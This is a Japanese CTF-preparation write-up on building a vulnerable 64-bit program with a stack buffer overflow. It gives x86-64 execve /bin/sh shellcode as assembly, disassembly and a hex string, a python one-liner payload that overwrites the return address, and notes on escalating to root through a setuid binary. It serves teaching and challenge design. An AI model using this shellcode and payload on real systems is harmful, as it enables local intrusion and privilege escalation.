CTF問題用に脆弱性のある64ビットプログラムの問題を作成する。
脆弱性のあるコード
このプログラムはfoo関数において64バイトの変数を宣言している。64バイトを超える入力があるとBoFが引き起こされる。今回はShellCodeを流し込んでBoFにより64ビットプログラムで/bin/shを起動する実験をする。
そのまえにまずShellCodeを作る必要がある。/bin/shを起動するにはLinuxのシステムコールであるexecveを呼び出す必要がある。その際に各レジスタに設定すべき値は以下となる。
raxレジスタ:execveシステムコールの識別子である59を入力
rdiレジスタ:第一引数を入力。今回は ”/bin//sh\0″を入力。
※ / が2個あるのは8バイトにするため。
rsiレジスタ:第二引数を入力。今回は「”/bin//sh\0,NULL”」を入力。
rdxレジスタ:第三引数を入力。今回は「”NULL”」を入力。
レジスタ状態を上記に設定した状態でCPUがsyscall命令を実行すると、Linuxのシステムコールexecveが呼び出され/bin/shが実行される。レジスタ状態を上記に設定するアセンブリコードは以下となる。
section .test
global _start
_start
xor rdx, rdx
push rdx
mov rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
lea rax, [rdx + 59]
syscall
上記アセンブラコードを以下のコマンドでアセンブルする。
nasm -f elf64 -o shellcode.o shellcode.asm
ld -o shellcode shellcode.p
これで/bin/shを実行するバイナリが出来上がる。
このバイナリをobjdumpコマンドでシェルコードとして表示させる。
[root@ns2 vuln]# objdump -d shellcode
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 d2 xor %rdx,%rdx
400083: 52 push %rdx
400084: 48 b8 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rax
40008b: 2f 73 68
40008e: 50 push %rax
40008f: 48 89 e7 mov %rsp,%rdi
400092: 52 push %rdx
400093: 57 push %rdi
400094: 48 89 e6 mov %rsp,%rsi
400097: 48 8d 42 3b lea 0x3b(%rdx),%rax
40009b: 0f 05 syscall
表示された16進数文字がシェルコードとなる。
“\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05”
今回のシェルコードは29文字となっている。プログラムをgdbで解析すると、foo関数のStackメモリとしては宣言通り64バイトが確保されている。この64バイトの下にはベースポインタ(8バイト)とリターンアドレス(6バイト)がある。
したがって、BoFを起こしてリターンアドレスを書き換えるには以下のようになる。
shellcode(29バイト)+調整バイト(43バイト)+リターンアドレス(6バイト)
リターンアドレスにはshellcodeのアドレスを提示する必要がある。
今回のプログラムではこのリターンアドレスがわかるようにfoo関数内で宣言した変数cのアドレスを表示するようにしている。ここで表示されるアドレスをセットすることでBoFが可能になる。
./vuln.out $(python -c ‘print(“\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05” + “\x90″*43 + “リターンアドレス”)’)
ただし、以下の注意点がある。
引数として入力した文字はMain関数のスタックに積まれるため、引数のバイト数によりfoo関数内でのスタックメモリアドレスも変化する。
例えば
vuln.out 100 とした場合の変数cのアドレスと
vuln.out 1000000 とした場合の変数cのアドレスは変わってくる。
したがって、BoFを成功させるには一度、上記のシェルコード、調整バイト、仮のリターンアドレスを流し込み、その際に表示される変数cのアドレスにリターンアドレスを変更させて再度実行する必要がある。
※ここでいろいろ悩んだ。
追記:BoF後に権限昇格するには以下が必要
・脆弱性のあるプログラムにsetuidビットが設定されていること
・プログラムOwnerがrootの場合
メインプログラムでsetuid関数で権限を設定していなくても
流し込むShellcode上でsetuid実行することで任意のユーザへの
権限昇格が可能。
・プログラムOwnerがroot以外の場合
メインプログラムでsetuid関数を呼び、そのユーザの権限を明示的に
設定する必要がある。(例:setreuid(1002,1002); )
その後に流し込むShellcodeは/bin/shを呼ぶだけで、そのユーザの
権限になれる。
■CTFのシナリオについて
シナリオ1
脆弱性のあるプログラムにsecretFunction関数がある。これを呼び出せ。secretFunctionが呼び出されると、脆弱性のある関数の権限でしか読みだせないflat1.txtの中身が表示され、Flagを得ることができる。
※脆弱性のあるプログラムとflag1.txtの実行、読み取り権限を設定するのがポイント
シナリオ2
脆弱性のあるプログラムをBoFにより/bin/shを起動させ、flag2.txtの中身を表示させFlagを取得せよ。